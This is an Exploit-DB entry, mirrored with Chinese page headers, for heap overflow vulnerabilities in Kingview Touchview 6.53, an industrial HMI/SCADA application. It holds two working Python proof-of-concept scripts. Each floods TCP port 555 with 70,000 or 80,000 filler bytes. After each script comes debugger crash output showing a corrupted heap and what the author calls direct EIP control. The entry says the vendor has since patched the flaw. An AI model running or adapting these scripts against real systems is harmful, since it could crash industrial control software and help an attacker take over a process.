Kingview Touchview 6.53 – Multiple Heap Overflow Vulnerabilities

Exploit Database
112 阅读

作者： Carlos Mario Penagos Hollmann

日期： 2012-06-25
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/19389/

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# Exploit Title: Kingview 6.53 touchview.exe heap overflow 2

# Date: June 24 2012

# Exploit Author: Carlos Mario Penagos Hollmann

# Vendor Homepage: www.kingview.com

# Version: 6.53

# Tested on: Windows SP 1

# CVE :

Open kingivew click on Make choose network configuration--->network

parameter , thengo to the node type and choose Local is a Login Server,

run the demo port 555 will be open.

NOTE:

This was already patched by the vendor silently.

import os

import socket

import sys

host ="10.0.2.15"

port = 555

exploit=("D"*70000)

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s2.connect((host,port))

s2.send(exploit)

data = s2.recv(1024)

s2.close()

eax=42424242 ebx=00140000 ecx=0098ffff edx=00990000 esi=00140748

edi=00000004

eip=7c902a9d esp=0012f0b8 ebp=00140748 iopl=0 nv up ei pl nz na pe

cs=001bss=0023ds=0023es=0023fs=003bgs=0000

efl=00010206

ntdll!tan+0xcf:

7c902a9d 8b18mov ebx,dword ptr [eax]ds:0023:42424242=?????

c902a8d 55pushebp

7c902a8e 8be9mov ebp,ecx

7c902a90 8b5504mov edx,dword ptr [ebp+4]

7c902a93 8b4500mov eax,dword ptr [ebp]

7c902a96 0bc0oreax,eax

7c902a98 740cjentdll!tan+0xd8 (7c902aa6)

7c902a9a 8d4afflea ecx,[edx-1]

7c902a9d 8b18mov ebx,dword ptr [eax]

ds:0023:42424242=????????

7c902a9f f00fc74d00lock cmpxchg8b qword ptr [ebp]

7c902aa4 75f0jne ntdll!tan+0xc8 (7c902a96)

7c902aa6 5dpop ebp

7c902aa7 5bpop ebx

7c902aa8 c3ret

7c902aa9 8d4900lea ecx,[ecx]

7c902aac 8f0424pop dword ptr [esp]

7c902aaf 90nop

7c902ab0 53pushebx

7c902ab1 55pushebp

###############################################################

# Exploit Title: Kingview Touchview EIP direct control

# Date: June 24 2012

# Exploit Author: Carlos Mario Penagos Hollmann

# Vendor Homepage: www.kingview.com

# Version: 6.53

# Tested on: Windows SP 1

# CVE :

Open kingivew click on Make choose network configuration--->network

parameter , then go to the node type and choose Local is a Login Server,

run the demo port 555 will be open.

NOTE:

This was already patched by the vendor silently.

import os

import socket

import sys

host ="10.0.2.15"

port = 555

exploit=("B"*80000)

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s2.connect((host,port))

s2.send(exploit)

data = s2.recv(1024)

s2.close()

7c91b1ea 8b4610 mov eax,dword ptr [esi+10h]

7c91b1ed 3bc3 cmp eax,ebx

7c91b1ef 8945fc mov dword ptr [ebp-4],eax

7c91b1f2 0f849e000000 je ntdll!RtlpUnWaitCriticalSection+0x2f

(7c91b296)

7c91b1f8 8b06 mov eax,dword ptr [esi]

7c91b1fa ff4010 inc dword ptr [eax+10h]

ds:0023:42424252=????????

7c91b1fd 8b45fc mov eax,dword ptr [ebp-4]

7c91b200 83e001 and eax,1

7c91b203 8945e8 mov dword ptr [ebp-18h],eax

ntdll!RtlpWaitForCriticalSection+0x5b